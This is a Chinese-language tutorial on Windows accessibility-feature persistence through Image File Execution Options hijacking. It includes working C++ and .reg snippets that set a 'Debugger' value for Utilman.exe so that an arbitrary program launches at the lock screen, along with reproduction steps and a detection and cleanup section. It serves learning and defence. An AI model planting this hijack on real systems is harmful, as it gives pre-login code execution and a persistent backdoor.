代碼及原理介紹
爲了使電腦更易於使用和訪問,Windows添加了一些輔助功能。這些功能可以在用戶登錄之前以組合鍵啓動。根據這個特徵,一些惡意軟件無需登錄到系統,通過遠程桌面協議就可以執行惡意代碼。
一些常見的輔助功能如:
- C:\Windows\System32\sethc.exe 粘滯鍵 快捷鍵:按五次shift鍵
- C:\Windows\System32\utilman.exe 設置中心 快捷鍵:Windows+U鍵
在較早的Windows版本,只需要進行簡單的二進制文件替換,比如,程序” C:\Windows\System32\utilman.exe”可以替換爲“cmd.exe”。
對於在Windows Vista和Windows Server 2008及更高的版本中,替換的二進制文件受到了系統的保護,因此這裏就需要另一項技術:映像劫持。
映像劫持,也被稱爲“IFEO”(Image File Execution Options)。當目標程序被映像劫持時,雙擊目標程序,系統會轉而運行劫持程序,並不會運行目標程序。許多病毒會利用這一點來抑制殺毒軟件的運行,並運行自己的程序。造成映像劫持的罪魁禍首就是參數“Debugger”,它是IFEO裏第一個被處理的參數,系統如果發現某個程序文件在IFEO列表中,它就會首先來讀取Debugger參數,如果該參數不爲空,系統則會把Debugger參數裏指定的程序文件名作爲用戶試圖啓動的程序執行請求來處理,而僅僅把用戶試圖啓動的程序作爲Debugger參數裏指定的程序文件名的參數發送過去。參數“Debugger”本來是爲了讓程序員能夠通過雙擊程序文件直接進入調試器裏調試自己的程序。現在卻成了病毒的攻擊手段。簡單操作就是修改註冊表,在“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option”中添加utilman.exe項,在此項中添加debugger鍵,鍵值爲要啓動的程序路徑。
注意:Windows NT 和WindowsNT不一樣!!!!
C++ 實現代碼:
#include <iostream>
#include <Windows.h>
using namespace std;
int test()
{
DWORD dwDisposition;
HKEY hKey;
const char path[] = "C:\\hello.exe";
RegCreateKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Utilman.exe", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
return 0;
}
int main()
{
test();
//system("pause");
return 0;
}
當然,我們自己的程序要放到相應的路徑。
復現過程
鏡像劫持可由多種腳本進行完成,上面是利用C++的腳本,而下面則是reg註冊表文件進行完成。另有其他方法,如:VBS等。
註冊表代碼如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe]
"Debugger"="C://hello.exe"
這段代碼就是截取windows+U快捷鍵來運行自己想要運行的程序。Utilman.exe可以替換爲自己想要截取的軟件,hello.exe則是自己想要運行的文件。
首先將代碼保存爲reg文件,然後將hello.exe放入C盤根目錄,以管理員身份運行註冊表文件。
運行完後會添加如下健和值
在鎖屏狀態下效果圖如下:
本次復現在windows 7 sp1環境下進行,其他系統請自行測試。經測試,windows 10 1809已經不能實現。
檢查及清除方法
檢查“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Option”註冊表路徑中的程序名稱
其它適用於的輔助功能還有:
- 屏幕鍵盤:C:\Windows\System32\osk.exe
- 放大鏡:C:\Windows\System32\Magnify.exe
- 旁白:C:\Windows\System32\Narrator.exe
- 顯示開關:C:\Windows\System32\DisplaySwitch.exe
- 應用程序開關:C:\Windows\System32\AtBroker.exe
- 現在大部分的殺毒軟件都會監視註冊表項來防禦這種惡意行爲。
現在大部分的殺毒軟件都會監視註冊表項來防禦這種惡意行爲。
本文復現主要用來學習,請勿用於非法用途。